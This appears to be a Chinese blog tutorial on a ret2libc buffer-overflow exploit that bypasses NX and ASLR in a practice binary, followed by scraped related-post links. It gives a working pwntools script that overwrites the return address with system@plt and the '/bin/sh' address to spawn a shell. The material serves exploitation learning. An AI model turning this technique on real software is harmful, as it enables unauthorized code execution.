Ret2Libc(1) (有system、/bin/sh)绕过NX、ASLR
Ret2Libc即控制程序执行libc库中的函数。
通常是返回到某个函数的plt处,或者函数运行时候的实际地址。
下面是一个例子:
可以看出程序gets有一个明显的溢出漏洞
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
可以看到程序开启了NX,
我的linux已经开启了ASLR
而且,这个程序中,
我们可以用 objdump在plt表中找到system
objdump -d ret2libc1 | grep "plt"
用ROPgadget可以找到 ‘/bin/sh’
ROPgadget.py --binary ret2libc1 --string "/bin/sh"
system_plt = 0x08048460
bin_sh_addr = 0x08048720
确定溢出漏洞所需要的填充长度为112
利用思路:
1、用system_plt地址覆盖函数的返回地址
2、构造一个system_plt的返回地址
3、给system函数传入参数:/bin/sh 的地址
我们就可以构造payload了
exp:
from pwn import *
sys_plt = 0x08048460
bin_sh = 0x08048720io = process('./ret2libc1')
payload = 'A'*112 + p32(sys_plt) + p32(0x41414141) + p32(bin_sh)
io.sendline(payload)
io.interactive()
成功getshell
Ret2Libc(1) (有system、/bin/sh)绕过NX、ASLR相关推荐
- 解决:/system/bin/sh: /system/bin/test-ndk: not executable: magic 7F45报错
在夜神模拟器运行arm编译器编译出来的可执行文件,结果报错: /system/bin/sh: /system/bin/test-ndk: not executable: magic 7F45查了一下, ...
- 用adb pull复制Android手机里的文件到服务器遇到system/bin/sh: adb: not found
作者: 邓小猪 博客:https://blog.csdn.net/qq_35210586 知乎:https://www.zhihu.com/people/dengxiaozhu/activities ...
- /system/bin/sh: XXX not found
在验证IOT的设备,设备是标准android系统的时候,经常发现一些常用的指令显示未找到 使用busybox即可 BusyBox是一个遵循GPL协议.以自由软件形式发行的应用程序.Busybox在单一 ...
- Ret2Libc(2) (有system、无‘/bin/sh’)绕过NX、ASLR
和Ret2Libc(1)一样,先把程序扔进IDA看看代码 和Ret2Libc(1)一样,gets存在溢出漏洞 gdb-peda$ checksec CANARY : disabled FORTI ...
- Ret2Syscall绕过NX、ASLR保护
Ret2Syscall,即控制程序执行系统调用,进而获取shell. 下面看看我们的vuln程序. 可以看出,程序中的gets有明显的 溢出漏洞 用gdb打开, 检查一下文件开启了哪些防护: 可以看出 ...
- Shell-/bin/bash和/bin/sh解释器的误用引起的脚本语法错误
文章目录 生猛干货 背景 问题分析 解决办法 知识点回顾 搞定Linux核心技术 生猛干货 从系统安装到程序员必备的Linux技能,还原真实工作场景,手把手带你实战演练 背景 下面的脚本,在Linux ...
- linux中的 bin sh,Linux-#!/bin/sh理解
#!是一个特殊符号,/bin/sh是用来解释该脚本的的shell路径 #!/bin/sh指该脚本使用/bin/sh来执行 sh只是其中一种解释方式,通过如下命令可以查到支持的shell解释方式: xx ...
- 【Linux】【编译相关】execvp: /bin/sh: Argument list too long问题处理小结
问题背景 execvp: /bin/sh: Argument list too long问题出现的两种情况: 1.make的时候,如编译Linux内核.驱动.Android版本等较长-I.-D选项的情 ...
- linux7crontab启动,CentOS7crontab不执行 报错/bin/sh:root:commandnotfound
使用CentOS7 执行定时脚本,结果提示报错: /bin/sh: root: command not found 问题在于文件 /var/spool/cron/root ,中无需再写root. 修改 ...
最新文章
- python天天学怎么样-Python天天学_01_基础1
- java内存模型之一
- 【转载】Python操作Excel的读取以及写入
- 帆软获取上月的第一天与最后一天_《原神》岩港打工第一天怎么玩 岩港打工第一天玩法攻略...
- ssh 登陆错误后禁止ip再次登陆_macOS破坏SSH默认规则,程序员无法登录Web服务器...
- oracle 截取小数点_oracle函数(关于处理小数点位数和时间) | 学步园
- mysql必知必会第一节
- cilium插件测试_Cilium网络概述
- 安装Mirantis OpenStack Fuel 9.0
- 通过aspnetpager为DataList分页
- 数据库系统常用的数据模型
- Mac电脑没声音了怎么办?
- 7-8 jmu-Java-03面向对象-06-继承覆盖综合练习-Person、Student、Employee、Company
- excel小写转大写公式_不要眨眼!中英文、大小写转换,一秒就搞定!
- Qt笔记(五十七)之显示图片缩略图
- SQL难学吗,有什么好的学习建议?(转载)
- Hystrix服务降级的两种处理方式@HystrixCommand注解和定义统一fallback接口
- 液晶面板里面有些什么配件_一张图看懂液晶面板内部结构,竟如此复杂
- Site Template
- CSS-border边框
热门文章
- Facebook开源多款AI工具,支持游戏、翻译等
- AI一分钟 |世界上第一个无人驾驶出租车在迪拜投入使用,2030年无人驾驶将覆盖迪拜25%的交通行程
- 取代MybatisPlus?阿里推出了新 ORM 框架!(两者对比参考)
- 如何快速定位当前数据库消耗CPU最高的sql语句?
- Eclipse 官宣,干掉 VS Code !
- 笑了,面试官问我知不知道异步编程的Future。
- Spring集成任务调度功能
- Kaggle经典数据分析项目:泰坦尼克号生存预测!
- Github热榜:2021年33篇最酷AI论文综述!多位华人作者入选
- 知乎热议20年科研怪状:为何论文创新性越强越难发表,跟风修修补补反而更容易发?...